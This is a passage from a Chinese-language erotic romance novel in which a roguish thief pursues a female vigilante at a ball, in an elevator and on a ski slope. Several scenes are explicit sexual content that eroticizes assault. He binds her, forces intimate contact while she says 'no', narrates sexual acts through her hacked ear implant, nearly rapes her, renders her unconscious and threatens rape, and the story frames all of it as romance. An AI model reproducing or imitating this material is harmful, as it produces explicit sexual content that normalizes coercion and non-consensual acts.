    「你似乎已經沉醉在當英雄的氛圍中了,」望著闕雲岫冷艷的神情,南宮燁突然一笑,「但你別忘了,再怎麼樣你依然是個女人,一個多次敗在我手下,並曾在我懷中嬌喘、啼呼的女人!」


    「我在誰的懷中都一樣!」聽著南宮燁那羞人又諷刺的話語,闕雲岫咬住牙,但聲音已有些顫抖,「你未免把你自己看得太與眾不同了!」


    「是嗎?那我們不妨再來試試!」


    輕瞇起眼,南宮燈一手攬向闕雲岫纖細的腰際,闕雲岫則是一個轉身,靈蛇般躲開了他的掌握,繼而由大腿內側抽出「雲岫刀」,迅速地往他所在之處射去!


    但南宮燁竟然不躲也不閃,只是帶著玩世不恭的笑容,站在原地望著她。


    他為什麼不躲?!


    眼見「雲岫刀」就要射中他了,但南宮燁依然動也不動,闕雲岫竟做出了連她自己都無法相信的舉動──


    她扔出了手中的第二把刀!


    就聽得「噹」的一聲,在第一把刀要射中南宮燁之際,第二把刀飛速的由側邊撞擊上它,而後,兩把飛刀一起落在他的腳前。


    「你果然還是有些捨不得我。」望著眼中浮現震驚與不解的闕雲岫,南宮燁若有所思的說著。


    「你走,不要再讓我看到你!」闕雲岫轉過身去,生硬的開口。


    為什麼不殺了他?!


    為什麼還要救他?!


    他根本是在捉弄她啊,像貓耍老鼠一樣的耍著她玩啊,她為什麼卻失去了往日的平靜,像個傀儡般被他牽著走?


    她究竟怎麼了……


    「堂堂的夜影女俠為何在我面前總像個小女孩一樣?」望著闕雲岫泫然欲泣的側臉,南宮燁的心有些柔軟了,輕笑說道,「不知道的人還以為你是在向我撒嬌。」


    「這樣嘲笑我你很開心嗎?」聽著南宮燁的笑聲,闕雲岫有種強烈被取笑的感受,她再也無法平靜了,只能任這些天來心頭的痛苦一起發洩而出,「你奪走了我的清白還不夠嗎?你到底還要什麼?我再沒有什麼東西能讓你豪奪強攻了!」


    空間中,有幾秒鐘的靜默,而後,闕雲岫聽到了南宮燁沉穩而嚴肅的嗓音:「你錯了,我並沒有取走你的清白。」


    什麼?!


    闕雲岫肩膀一僵,俏臉霎時變得慘白。


    難道不是他?上回在她身子留下那點點印記的人不是他?!


    「我更正,是上回沒有取走,」望著闕雲岫一臉的蒼白及微微顫抖的肩膀,


    南宮燁由身後輕輕摟住她的腰,「但今天我就不敢保證了!」


    上回沒有取走……


    當這句話傳入闕雲岫的腦中時,她整個人都愣了,心中只反覆迴響著一句話──他沒有傷害她,沒有……


    發現闕雲岫的美眸浮現霧光,南宮燁望著她柔弱絕美、似乎鬆了一口氣的模樣,心跳突然漏了一拍,而手,不自覺地將她摟得更緊。


    半晌後,當闕雲岫回過神時,才發現自己竟然被他摟得那樣緊。


    「不要碰我!」她立即回身一掌向南宮燁擊去,但伸出的手卻被他緊緊捉住。


    「老實說,」一手握著闕雲岫的柳腰,一手握住她的細腕,南宮燁低下頭輕吻著她的頸窩,「你似乎對失身於我的反應,比失身給別人來得坦然多了。」


    「你……」聽著那幾近於事實卻令人難堪至極的陳述,闕雲岫的右腿猛地往後一踢,直接攻堅著南宮燁的後腦。


    「動真格的了?」眉頭一皺,南宮燁迅速地閃身,「那你就別怪我了,小野貓。」


    一把握住闕雲岫的雙手,南宮燁將她定在窗旁,然後亳不客氣地攫住她的紅唇。


    他的掠奪是那樣的蠻橫霸道,不僅強迫著闕雲岫緊閉的紅唇開啟,還盡情地吸吮著她口中的芳香蜜汁,將舌與她的舌完全交纏在一起。


    雖極力的抗拒著,但闕雲岫卻怎麼也逃脫不了他的鉗制,只能任自己的紅唇被他吻腫……


    「你真甜。」許久許久之後,南宮燁終於結束了他的掠奪,望著闕雲岫嫣紅的雙頰、聽著她的輕喘,喃喃說道,「我所遇過的女子之中,從沒有一個像你這樣令人留戀的。」


    聽著他的話,闕雲岫的心中突然一痛。


    雖明白他絕對擁有過許多女人,但親耳聽見他說出,還將她與其它女人相比較,任誰也無法忍受!


    也因此,在南宮燁的唇再度襲上她的紅唇時,闕雲岫甩力地一咬!


    「小野貓,」摸摸唇上的血珠,南宮燁不怒反笑,他突然扯下闕雲岫臂上的紗巾,將她的雙手綁住後推倒在沙發上,再撩起她的長裙,「你必須為你所做的付出代價!」


    「啊……」慌亂地掙扎著,闕雲岫的心幾乎都要碎了,「不要……」


    「你的腿很美,」撕碎闕雲岫身下的絲襪,南宮燁輕撫著那雙雪白勻稱的大腿,然後用力一姘,將她的雙腿整個分開,用雙膝抵住,大掌隔著底褲覆上她的私密之處,「這裡,更美。」


    「你……」汗一滴滴的由閉雲岫的頰旁流下,她的臉又紅又熱,「啊……不要……」


    「要,因為你不是個聽話的女人,」用手指輕按著闕雲岫身下的花珠,南宮燁突然抬眼曖昧的一笑,「其實,你甚至還沒有成為一個『實質性』的女人。」


    「唔……」當身下的花珠被他掐住時,雖然還隔著一層底褲,但闕雲岫依然起了一陣強烈的戰慄,令她不由自主的弓起身子。


    「不過,這是早晚的事了,而你,只會是我一個人的女人。」望著闕雲岫雙頰嫣紅、吐氣如蘭的模樣,南宮燁將心中的話毫不保留的說了出來。


    是的,他要她,從見到她的第一回開始!


    在他生命之中有過的女人,從未有誰能像闕雲岫這樣冰雪聰明,卻又堅毅絕美。


    他永遠忘不了第一眼看到她的真面目時,心中所受的劇烈震盪!


    他從沒想過,身手那樣高妙、腦子那樣聰慧的「夜影女俠」,竟會擁有一副傾國傾城的容顏!


    第一次與她動手,他就被她冷傲的談吐及高妙的身手所吸引。


    而他,更忘不了那夜,當她那頭烏黑秀髮披散在胸前時若隱若現的性感,更忘不了,當她在他的手中得到幸福時,那甜膩無比的嬌啼聲……


    所以他喜歡跟她鬥智鬥勇,喜歡看著一向冷靜的她被他逗弄得又氣又急,更喜歡她在他的懷中低吟、輕喃的嬌羞容顏……


    「你作夢!」望著南宮燁眼中一閃而逝的愛戀,闕雲岫別過臉去,對他語氣中的獨佔及霸道感到羞赧,「你……」


    「你撤起嬌來很迷人……」望著闕雲岫不經意顯露出的嬌態,南宮燁輕輕的笑了起來,「迷人極了,簡直令人……」


    「岫兒,我們該走了,」就在此時,門外傳來風靖山的聲音,「你準備好了嗎?」


    「你的白馬王子來解救你了!」南宮燁懶洋洋的一笑,手突然一用力,將闕雲岫的底褲撕毀,然後將裙擺由她腰間拉下撫平,解開她雙手的束縛,「不過也只是暫時的。」


    「你……」心中一驚,闕雲岫正想說話,卻已被他一把推出門外!


    「岫兒,你沒事吧?」望著闕雲岫臉上的紅雲,風靖山體貼的為她撩起頰旁散亂的髮絲。


    「我沒事。」心中又羞又慌,但闕雲岫只能這樣回答。


    老天,他怎麼可以將她的底褲撕毀,讓她的身下一絲不掛?!


    而更讓她痛苦的是,她現在根本沒有時間回房重新著裝,只能以這樣的方式去面對那麼多人!


    他到底有什麼目的?!


    明明沒佔有她,卻在她身上留下那樣羞人的印記,而當她的「雲岫刀」出手時,他又完全不當一回事地任刀射向他的心窩!


    她真不明白,這種貓戲老鼠的遊戲,他究竟還要玩多久?


    而她,還能玩得下去嗎……


正文 第五章


    來到了會場之上,闕雲岫盡可能的令自己的心情平靜,她不斷地告訴自己,她今天穿的這襲寶藍色絲絨禮服,不會洩漏出她身底下的秘密……


    只是,就算如此,她依然感覺到自己的心跳是那樣猛烈,猛烈地幾乎要跳出胸腔了!


    「岫兒,你不舒服?」望著闕雲岫有些心不在焉的異常模樣,風靖山拿了杯酒走至她的身旁低語,「我瞧你不太對勁。」


    「可能感冒了。」闕雲岫同樣低聲說著。


    「這可不好,你很少生病的,」風靖山皺起了眉,「但若現在回去,恐怕會引人側目,要不等舞會開始後,你再找個機會趕緊回房去休息。」


    「好。」闕雲岫紅唇微啟,向侍者要來了一杯酒輕啜著。


    「我四處走走,」風靖山與她擦肩而過,小心的叮嚀,「自己照顧自己。」


    待風靖山走後,帶著忐忑的心情,闕雲岫讓自己的神色一如平常,輕輕地坐在沙發上,看似悠閒,其實全副心力都在觀察著四周的動靜。


    只是不知為何,她老覺得有雙眸子一直盯視著她,而她的渾身,也有些不自在的灼熱……


    「小野貓,為何要將雙腿夾得那樣緊,是怕洩漏出你裙下一絲不掛的秘密來嗎?」


    身子一僵,闕雲油不敢相信出現在自己耳中的字字句句!


    是的,在她耳內裝有高敏感度的接收儀,而裝這個接收儀的主要目的,是為了將她在舞會中聽到的話語記錄下來,做為搜證之用!


    只是,南宮燁竟然……竟然破解了她的通訊頻道,極有可能遠將它的功能改為單向通訊,並且鎖碼!


    最讓闕雲岫痛苦的是,此刻的她,根本無法將這個接收儀取下,只能將南宮燁說出的那些羞人話語全盤接收,因為這個接收儀是直接植在她的耳內,必須要經過特殊的裝備才能將它取出!


    「放鬆些,」南宮燁的語調是那樣慵懶,笑聲是那樣邪肆,「整個會場之上,只有我知道你的秘密,也只有我知道你身下的花瓣沾滿蜜汁時,是如何的晶亮、美麗、語人……」


    聽著南宮燁那邪肆的話語,闕雲岫的心整個都亂了,但她只能緊咬住下唇,盡量的讓自己平靜,不讓人看出她的不對勁。


    原來他早已計畫好這一切了!


    剛剛他到她的房內,便是在攔截她的通訊頻道!


    太過分了,真的太過分了……


    但無論如何,她絕不能讓他擾亂她的心!


    闕雲岫不斷地在心中這樣告訴自己,她必須盡可能地鎮靜,絕不可以任那個邪惡的男子對她的工作造成影響。


    「知道我現在在做些什麼嗎?」望著屏幕上闕雲岫依然淡漠絕美的容顏,


    南宮燁在心中淡淡一笑,「我的手指正輕按在你雪白美麗的頸項上,感受著你一下快過一下的心跳。」


    闕雲岫知道自己不該胡思亂想、不該聽他的胡言亂語,但南宮燁那樣邪魅輕佻的字字句句,卻依然侵入她的腦中,令她迷亂……


    驀地站起身來,闕雲岫露出了一個冷艷的微笑,走入人潮洶湧的舞池中,妖嬈地擺動起身軀。


    好,如果這是他的挑戰,她也只能接受!


    她絕不能讓自己在他的眼前,再度潰不成軍!


    「而現在,我的食指沿著你的鎖骨輕輕滑下,滑過你柔嫩細緻的肌膚,來到了你豐盈的雙乳之上……」將手撐在顎下,南宮燁的語調愈來愈慵懶,言詞也愈來愈放肆。


    這小野貓,夠大膽的!


    明知自己裙下是一絲不掛的,明知他在看著她,竟還敢如此瘋狂的起舞……


    只是,望著她那優美的舞姿,望著她飽滿的雙峰隨著舞動輕輕彈跳,他的眼眸之中也燃起了一抹火焰。


    「小野貓,接受我的挑戰了?」


    聽著那含著笑意的低沉嗓音,闕雲岫的身子起了一陣輕顫,而隨著那陣戰慄,她的鼻尖緩緩地冒出了一層薄汗。


    不知為何,她竟有種感覺,彷彿南宮燁正站在她的身後,而他的大掌,就如同他訴說的一般,輕撫著她的肌膚,帶來陣陣灼熱……


    「閉上眼,」望著闕雲岫低垂的眼眸,以及不斷煽動的長睫毛,南宮燁緩緩說著,「那樣的話,你就更能感受到我對你所做的一切。」


    不可以!


    闕雲岫拚命地讓自己陶醉在舞蹈中,她一定不可以讓他得逞,她一定要堅持住……


    「我的指尖沿著你那玫瑰色的乳暈緩緩移動,」彷彿讀出闕雲岫心中所想,南宮燁邪邪地笑了笑,然後將手指移到屏幕上,隨著自己的言語來回輕畫,「而我知道,你的乳尖,將在我的挑逗之下緩緩地挺立……」


    盡情的舞動著,闕雲岫的神情一同以往,但她微微顫抖的指尖,依然洩漏出她心底的秘密……


    而她的乳尖,也在那愛撫似的嗓音下緩緩地挺立,但她絕不會讓他知道的!


    「我知道你一直在聽著,我的小野貓……」望著闕雲岫那優美的身形與舞姿,南官燁的聲音更詭魅了,「所以你現在應該知道我的雙手正輕捧著你那對潭圓挺俏的雙峰,它們是那樣的美,美的我都情不自禁想親吻上頭已然盛開的兩朵粉色玫瑰……」


    一層薄汗,浮上了闕雲岫的額,她的俏臉微紅,但她依然不斷地舞動著……


    「你的雙乳在我的揉弄下全紅了,小野貓……」望著闕雲岫嫣紅的小臉、迷濛的雙眸,南宮燁不自覺的將掌握成拳,「我幾乎可以聽到你輕淺的喘息聲在我的耳旁迴盪,你是否在輕聲叫著『不』呢?告訴我……」


    音樂愈來愈狂亂了,闕雲岫對一名前來邀舞的男士露出抱歉的笑容,泰然自若地走至角落,端起一杯酒輕啜著。


    但其實,她的心並不像表面般平靜。


    因為她真的快受不了了!


    南宮燁那渾厚低沉的嗓音簡直是直擊著她的心,讓她根本無法聽而不聞……


    她真的不明白,他究竟為了什麼一定要這樣折磨她?難道只為了不讓她阻礙他對「天盟」的吞食計畫嗎……


    「你絲綢禮服的肩帶,被我用食指輕輕佻掉,露出了你右半邊的高聳乳峰,」望著闕雲岫因輕啜著酒而微啟的紅唇,南宮燁的下腹突然感覺到一陣灼熱,「而我的大掌,即將直接碰觸到你那最誘人的柔嫩肌膚……」


    雙乳,有些微微的脹痛,闕雲岫極力抵抗著心底那股悸動,但她低垂的眸中卻有股無法抹去的痛苦,因為身下的那股微濕,令她再也無法欺騙自己!她被他撩撥了!


    真的被他邪肆的話語撩動了……


    「濕了嗎?我的小野貓,」望著闕雲岫優美的頸部曲線,南宮燁丟下了最爆炸性的一句話,「告訴我……」


    不……


    闕雲岫不自覺地紅唇微啟,而後突然一愣,再也動彈不得!


    「就這樣張著唇,因為我會狠狠的吻住你那兩片迷人的紅唇,」發現她柔


    美的身軀整個僵住,南宮燁知道自己勝利了,「而我的手,會像微風般輕拂過你的乳尖,引得你渾身戰慄不已。」


    咬住下唇,闕雲岫不動聲色地開始往門外走去,她必須快些離開這裡,不能再待在這麼多人的地方了!


    因為她能感覺得到,一股暖意由她的體內汨汨地湧出,並且由她的腿根開始往下滑……


    「我的大掌緩緩地往下移了,小野貓,」緩緩地站起身,南宮燁拿起一個小型追蹤儀,嘴角揚起一陣輕笑,邁開大步走向門外,「撫過你纖細的柳腰,以及那平坦誘人的小腹……」


    夠了、夠了!


    來到遠處的一部無人電梯前,闕雲岫終於忍不住的用手遮住雙耳!


    「你的身子好熱,喘息也好熱,」但她遮得住自己的耳,卻遮不住那個直擊心弦的聲音,「是因為我嗎?」


    不要再說了……她真的受不了了……


    「我的手已來到你身下的美麗花園了,而那裡,早已為我濕潤……」南宮燁邊走邊說,嗓音那樣低沉,「我用手指輕輕地撥開你身下的花瓣,輕拈著你最敏感的柔嫩,那顆早已紅腫、被蜜汁浸染的猶如一顆閃亮珍珠般的花珠……」


    身下一陣戰慄,闕雲岫感覺一股微溫的濕意開始蔓延,不斷地由她的腿根滑下,直到她曲線優美的小腿肚……


    她連忙衝入電梯,什麼都管不了了,只能慌亂地按著頂樓的鍵,然後閉上眼,全身酥軟地抱住自己,無助地靠在電梯壁上急喘著。


    「感覺到了嗎?小野貓,感覺到我的手指已悄悄滑入你的體內了嗎?」南宮燁的聲音愈來愈詭魅,「老天……你的花徑好濕、好熱、好緊……」


    為什麼?為什麼她會被他撩撥至此?


    不甘心的咬著下唇,闕雲岫幾乎將自己的下唇都咬破了。


    「別將我吸得那樣緊,小野貓,那樣會讓男人瘋狂的,」南宮燁的低笑聲,聲聲敲入闕雲岫的心底最深處,「但那不包括我,因為只有我才知道如何能讓你如癡如狂……」


    闕雲岫的腦子幾乎要炸開了!


    她不是一向對情慾幾乎是無感的嗎?為何自遇上他之後,竟會變成這樣一個淫浪而無恥的女人?


    竟只因他的幾句話便濕透了……


    「我要進入你了,小野貓……」站在電梯門前,望著電梯向上的燈號,南官燁的嘴角揚起一個迷人的弧度,「感覺到我了嗎?感覺到我緊緊抵住你火熱的蜜源了嗎?」


    老天……她真有種被人緊摟,並且即將被人佔有的感覺……


    而她的花徑,竟真的有些疼痛!


    這一切真是太可伯了……


    「我來接你了,我的小野貓。」


    就在闕雲岫的腦中一片混亂之時,突然,一個清晰不已的聲音由她的身前傳來!


    「你……」闕雲岫身子一僵,臉,整個的蒼白了。


    因為他,真的出現了!


    「老實講我很開心,」一把將闕雲岫摟至身前,南宮燁用大掌輕輕貼住她的俏臀,來回揉弄著她的誘人臀瓣,「因為只有我一人知道,在你冰山外表的掩蓋之下,真正的你是多麼的熱情如火。」


    「放開我!」雖然心中又羞又窘、又氣又急,闕雲岫仍盡力讓自己的聲音冷漠如霜。


    「怕什麼?」她渾身的輕顫根本逃不過南宮燁的眼底,他輕掐著她的俏臀,毫不在乎地將自己的慾望抵在她的小腹前,「怕被我知道你的秘密嗎?怕被我知道你這個正義女俠也有如此淫媚的時候嗎?放心,我不會笑你,更不會告訴任何人的。」


    那是他的……


    感覺到小腹被一個堅實之物緊緊抵住,闕雲岫的臉整個嫣紅了!


    再不考慮地,她開始行動了,但早已虛效的四肢,卻根本配合不上她的行動!


    也因此,闕雲岫的雙手不僅被南宮燁捉住,舉至她的頭項上,而他的身子還緊緊的抵住她,右手,則輕撩起了她的長裙!


    「不……」當長裙被掀開時,闕雲岫絕望至極的低喊。


    因為她發現南宮燁不僅掀開了她的長裙,竟還用膝蓋撐開了她的雙腿,然後將大掌覆住她身下的花瓣!


    「老天,你真的好濕、好熱……」南宮燁將唇俯在閉雲岫的耳畔輕聲說著,而手指,則在那早已佈滿蜜汁的花瓣中來回梭巡,「身為一個男人,知道你這樣的女人竟會因我的話語而變得如此熱情、如此濕潤,真是令人倍感榮幸。」


    他全發現了……


    南宮燁那邪肆又羞辱的話語,幾乎讓闕雲岫的淚水奪眶而出,但她極力的忍住淚水,命令自己不要有任何的反應!


    因為此刻的她,只能如此捍衛自己所剩無幾的尊嚴……


    「怎麼了?」將修長的手指緩緩滑入闕雲岫濕透的花徑中,南宮燁悠然自得地開始輕勾、緩挑,「很難受嗎?」


    緊咬住下唇,闕雲岫就是不出聲,儘管她的花徑因他的侵入而疼痛著,儘管她的全身都在顫抖,小腹之處還升起了一陣不熟悉的滾滾熱浪……


    但她就是不出聲!


    「叫出來,」望著闕雲岫嫣紅的面容,南宮燁改變了手指的逗弄方式,在她的花徑中一進一出,還悄悄地加快了手指的律動,「我就是要聽你的聲音,要讓你知道,你這個人人都愛慕的正義女俠,在我這個邪惡男人的逗弄之下,也不過是一個尋常的女人,一個如此嬌媚、如此放浪,一個為會我而浪啼的女娃娃……」


    「呃……」闕雲岫緊咬著牙關,依然一句話也不說。


    但隨著南宮燁嫻熟的逗弄,闕雲岫感覺下腹那股熱浪已經到達了臨界點,一股很奇怪的壓力己醞釀到極致,幾乎要讓她的身子爆炸了!


    她的花徑好疼,但疼痛之中又有種怪異的歡愉不斷在升高……


    闕雲岫不知道那感覺究竟是什麼,會不會將她毀滅,但隱隱約約之中,她卻明白,如果那陣壓力釋放了,她也許再管不住自己了!


    「小野貓,這樣忍著很難受吧……」感覺著自己手指被緊緊夾住的頻率愈來愈高,南宮燁的背後衣衫全被汗濕了,而手中的動作也愈來愈快了,「你的身子很令人銷魂,又緊、又濕……」


    拚命的搖著頭,闕雲岫咬得唇都幾乎出血了,而突然,她感覺到身下的花珠被人用力一掐!


    「啊……好痛……」那股痛意終於令闕雲岫叫出聲音。


    「叫吧,我的小野貓。」輕吻了一下闕雲岫的紅唇,南宮燁將自己的手指飛快地往她的花徑中刺去!


    在那一測之下,闕雲岫含淚的美眸驀地瞪大,身子,整個爆炸了!


    「呀啊……」她無助的嬌啼了起來,因為在南宮燁的撩撥下,一波又一波的快感令她再也管不住自己顫抖的唇,而她若再不釋放,極有可能要被焚燒成灰,「呀啊……燁……」


    「我很高興你還記得我。」


    聽著那一聲聲再不克制的嬌啼,看著闕雲岫面泛春色卻又盈著淚滴的臉龐,南宮燁的心整個柔軟了。


    「沒事的,別害羞,你是一個會令所有男人都瘋狂的女人,」當感覺到闕雲岫第一波的高潮已來臨後,南宮燁悄悄地撤出手,將自己的堅挺抵在她火熱顫抖的花口,「所以我很願意承認,此刻的我己為你瘋狂。」


    「啊……不……」當那陣驚天的快感結束之後,闕雲岫感覺到一個又碩大又火熱的堅挺抵住自己,此時,她真的慌了,她瞪大了眼不斷地抗拒著,但卻怎麼也無法逃離南宮燁的懷抱,「你不……可以……」


    「我可以,」將火熱碩大的堅挺往裡淺淺的一探,南宮燁輕吻著闕雲岫的額頭,「也只有我可以。」


    「不……好疼……」還沒有等南宮燁全部進入她,闕雲岫就已經感覺到那陣被人硬生生撐開的撕裂感及劇痛,「你……不要……」


    老天,他真的、真的要強佔她了……


    而他怎會那樣碩大、那樣堅硬?


    她受不住的啊……


    「噓……」柔聲安撫著闕雲岫,南宮燁又將自己輕輕地探入一些,「一會兒就不疼了……」


    「啊……」闕雲岫痛得流下淚水。


    他為什麼要這樣待她,難道只因她是夜影女俠嗎?


    他處處欺負她、為難她,究竟為了什麼?


    是不是真的只要她放棄對他計畫的阻礙,他就會放過她……


    「你真的太小了……」


    看見一向冷漠的闕雲岫臉上竟出現那樣脆弱又惹人憐愛的神情,南宮燁的心竟微微抽痛了起來。


    「不要……」抬起淚眼,闕雲岫終於放棄了所有的尊嚴,放聲輕泣著,「不要……好嗎……我再不……再不……妨礙……你了……」


    「你……」望著闕雲岫幾乎崩潰的模樣,南宮燁的心第一次為女人而疼,「早知如此,何必當初呢……」


    口中雖這麼說,但最終,南宮燁只是輕歎了一口氣,忍住自己的慾望,輕掐住闕雲岫身下顫抖的花珠,讓她在淚眼之中,再次抵達歡愛之巔,然後整個虛脫在他的懷裡……


    輕摟著闕雲岫,望著她的低喘與紅顏,南宮燁的臉上流露出一股淡淡的柔情,但突然,一陣電話聲打破了電梯內曖昧的寂靜。


    「哪位?」南宮燁皺著眉接了電話,臉龐冷肅了起來。


    倚在南宮燁的懷中,望著輕抱著自己接聽電話的男人,闕雲岫的腦中有一剎那的恍惚。


    因為,他竟沒有真的強佔她!


    為什麼?只因為她喊痛了嗎……


    像他這樣強勢、霸道又邪性的男人,真的會因為女人喊痛,就忍住自己的慾望嗎?


    但未及闕雲岫想出個所以然來,她的後頸處就傳來一陣酸麻感,而後眼前一黑,再也見不到任何景物……


    「今天是你運氣好,小野貓,但如果你再不走、再來蹚這淌渾水,我保證我下次一定直接貫穿你的處女花徑,讓你徹底體會被人強佔的痛苦!」掛上電話,輕輕抱起昏迷的闕雲岫,望著她嬌弱無力卻絕美的容顏,南宮燁低聲說著,「這也是為你好……天盟,不是你想像的那樣軟弱無能、毫無還手之力的……」


正文 第六章


    除了離開之外,闕雲岫沒有其它的選擇。


    因為那不是她可以應付得來的戰場,所以,她只能把工作交給風靖山、東方亞及其它的好朋友,然後將一切拋之腦後。


    雖然她什麼也沒有說,但是她明白那些朋友也看出了她的不對勁,因為自她出道以來,從沒有一次工作是半途而廢。


    但她沒有辦法。


    現在她唯一能做的,就是繞過與南宮燁有關的一切,找個地方讓自己放鬆,再重新投入沒有他的戰場。


    好不甘心……


    輕歎了一口氣,闕雲岫站在山頂,望著眼前那一般人不會輕易嘗試的大坡度雪道,她雙手一用力,任自己往前疾衝!


    「他成功了,他取走了天盟所有的毒品……」


    「他已將毒品脫手,還擺脫了所有人的盯梢,消失得無影無蹤……」


    耳旁呼嘯的風聲,夾雜著風靖山這幾天在電話裡的聲音,闕雲岫在雪道上瘋狂地滑行,只是心中依然無法平靜。


    她該鬆口氣的,不是嗎?


    自此以後,南宮燁再也不會來打擾她的生活、再也不會用那樣放肆又霸道的手段來侵犯她,再也不會……


    儘管如此,為什麼她的心還是平靜不下來?


    縈繞在她心頭的,依然是一雙似笑非笑的懶散眼眸,縈繞在她心頭的,依然是那股不甘卻又排解不去的愁霧,讓她的心那樣沉重……


    不要再想了!


    就這樣在心頭狂喊著,闕雲岫一回又一回的由山巔滑至山下,再坐纜車直達山頂,再……


    不知到第幾回時,她突然發現自己的附近多了一個人!


    那個人穿著一身藍色的滑雪裝,站在一塊滑板之上,技術高妙地在坡道上來回穿梭,奇怪的是,他似乎有意跟隨著她,時而超前、時而圍著她繞圈!


    眉頭皺蹙,闕雲岫來了個緊急煞車,任雪花在眼前噴散,在四濺的雪花全落至地面後,她發現那個人竟也繞了一個大圈,向她直衝而來!


    想閃躲,但那人的速度是那樣的快,快的當閃躲的念頭在闕雲岫腦中浮現時,那人已來到眼前!


    「小野貓。」那人一把抱住闕雲岫的腰,與她一起沖跌進雪堆之中,哈哈大笑了起來。


    「是你?」聽著那個熟悉的嗓音、望著那張依舊是易容過的臉龐,闕雲岫心中一顫,又恨又痛地別過臉去冷冷說道:「你來幹什麼?你的目的不是全達成了嗎?」


    「也並非是真的完全達成,」南宮燁傭懶的挑了挑眉,「至少我自己這麼認為。」


    「那你大可以繼續下去,」撿起自己的滑雪杖,闕雲岫冷笑了一聲,「反正現在已沒有任何人能阻止你了。」


    「你呢?」抬起眼,南宮燁望著闕雲岫的側臉,「你不再阻止我了,小野貓?」


    「我阻止不了你。」咬住牙,闕雲岫一個字一個字的說著,「我根本沒有那個能力及精力阻止你,這場遊戲,你勝利了!」


    「這不是場遊戲,小野貓。」看著闕雲岫冷淡如冰的容顏半晌,南宮燁突然說道,「而我也不認為我勝利了。」


    「若不是為了嘲弄我的失敗,你如何有閒情逸致來這裡滑雪?」闕雲岫恨恨的說著。


    「不,你錯了,我來這裡並不是為了嘲弄你。我來,是因為我想你。」坐在雪地上,南宮燁順手拾起自己的滑雪板,眼眸望向白雪皚皚的遠山,懶懶一笑,「你那幾個師兄弟們帥是帥,身手更是不在話下,可不知為什麼,我還是比較想念跟你交手的那段時間。」


    「你……」沒想到南宮燁竟會這樣坦白,闕雲岫愣了愣,站起來拍拍身上的雪,「我沒空陪你玩這種遊戲。」


    口中雖這麼說,但闕雲岫卻明白,南宮燁那幾句看似順口說出的話語,已經令她的心更加紛亂了……


    由初次與他相遇開始,他們所有的對話幾乎都是在對立、爭鬥的情況下進行的,而闕雲岫也相信,他今天說出這話,一定有目的、一定有所圖,只是她真的不明白,這回,他要的又是什麼?


    難道,他要玩弄的是她的心?否則他為何要說這種話?


    像他那樣的男人,要什麼樣的女人會沒有?更何況她明白,他的身旁從來也不缺女人。


    是否,在他達成了所有目的之後,這回他將遊戲人生的目標放在她——或者該說她的頭銜——「夜影女俠」之上?


    如果真是這樣,這種遊戲,她玩不起!


    「你真的一點也不想我?」南宮燁將欲離去的她拉回雪准中,依然笑著,「那為何剛剛你知道來人是我後,你的眼眸好像發亮了?」


    「你看錯了。」闕雲岫別過臉去,生硬地回答。


    「我沒看錯。」將她的臉扳回自己眼前,南宮燁將她臉上的雪鏡拉至她頭頂,「看,你的眼眸現在還漾著水光呢,真美。」


    「你……」他的話讓闕雲岫臉龐有一瞬間發熱,但她立即回復正常,將雪鏡戴好,站起身來。


    只是,南宮燁再一次拉住了她。


    「你滑你的行不行?這山這麼大,你非擋我的路不可嗎?」闕雲岫冷冷的說道。


    「我說過了,我是來找你的,」望著闕雲岫含著薄怒的俏臉,南宮燁嘻皮笑臉的說著,「不擋著你的路,我來幹嘛?」


    「你……」闕雲岫愣了愣,臉色微微嫣紅的望向別處,「你就不能好好滑嗎?」


    「當然能。」南宮燁點了點頭,矯健地躍上滑板,「走!」


    為什麼就這樣任由他牽扯著她的所有思緒與行動?


    望著南宮燁瀟灑的背影,闕雲岫越發不明白自己的心情了。


    明明該恨他的、明明該將他視為敵人的、明明該躲他躲得遠遠的,可在她的心底,卻始終恨不起來……


    就算他屢次輕薄她、屢次戲弄她,可她,就是無法對他無動於衷!


    甚王每回只要聽到他的聲音、看到他出現在她的眼前,她的心跳就會不由自主的加速,而眼眸,也幾乎移不開……


    究竟為什麼?為什麼?


    她不能讓自己陷入其中啊,真的不能啊……


    就在闕雲岫心不在焉地滑雪時,突然,南宮燁的聲音再度響起。


    「小心,小野貓。」


    闕雲岫一抬頭,就見南宮燁又向她直衝而來,再度將她撞倒在雪堆中,望著她一身的雪花開朗大笑。


    「你是不是故意的?」望著他清澈的眼眸、開懷的笑容,闕雲岫終於忍不住地瞇起眼低喊。


    「我有什麼好故意的?」南宮燁聳了聳肩,伸出手輕輕拍掉闕雲岫身上的雪片,動作那樣自然溫柔,「你本來就滑得比我好。」


    「我滑得沒你好!」感受著那雙大掌的熱度,闕雲岫的心跳又漏了一拍。


    「好,當然好。」


    「不好!」


    「好。」南宮燁又笑了起來,用大掌揉亂闕雲岫的髮梢後,將手放在腦後躺至雪地上,「我說好就是好。」


    望著南宮燁再不說話,闕雲岫也靜靜地坐在他的身旁。


    抬起頭望著藍藍的天,闕雲岫有些詫異,因為她從沒想過,竟會有這麼一天,他們倆能如此平和的坐在一起!


    明知自己該離開的,但闕雲岫卻沒有,因為現在這種平和的氣氛,讓她的心有種難得的平靜,甚至還有些淡淡的溫馨……


    「有人托我問你件事。」許久許久之後,闕雲岫輕啟紅唇說道。


    「誰?」南宮燁挑了挑眉頭。


    「風靖山。」


    「他能有什麼好事?」南宮燁輕哼了一聲,「還不是想讓我改邪歸正,去幫他們打擊犯罪、維護社會秩序,我說的沒錯吧?」


    「沒錯。」闕雲岫沉吟了一會兒,「那你的回答是……」


    「不可能。」南宮燁毫不考慮地說道,「我不喜歡受人約束,再說,那種工作吃力又不討好,傻子才會去做。」


    就算是為我也不肯?


    腦中突然浮現的字句讓闕雲岫身子一僵,她簡直不敢相信自己的念頭!


    老天……什麼時候她竟將自己與他連結在一起了?


    闕雲岫慌亂地站起身來,被自己的想法嚇壞了。


    「去哪裡?」南宮燁一把捉住闕雲岫的手腕,淡淡的說著,「我們難得這樣和平相處,不是嗎?」


    「我們不是同一個世界的人,」闕雲岫低聲說著,用力掙開南宮燁的手,「永遠也無法和平相處。」


    「你如果開口求我,或許我會考慮考慮。」像是開玩笑似的,南宮燁轉頭望著闕雲岫低笑道。


    「我不會開口求你,」咬著牙,闕雲岫一個字一個字的說,「永遠不會!」


    說完這句話後,她便一個人往山坡下滑去,然而,聽著身後不再有另一個聲音,她的心……竟湧上一股淡淡的落寞。


    她真的太不對勁了。


    她難道忘了,就算現在的他們能夠平和相處,但他終究還是「蒼狼」,一個我行我素、不會為任何人改變的人!


    終有一天,他們還是會對峙,若她放任自己的心沉淪下去,等到那一天,她手中的槍與刀,或許再也無法射向他。


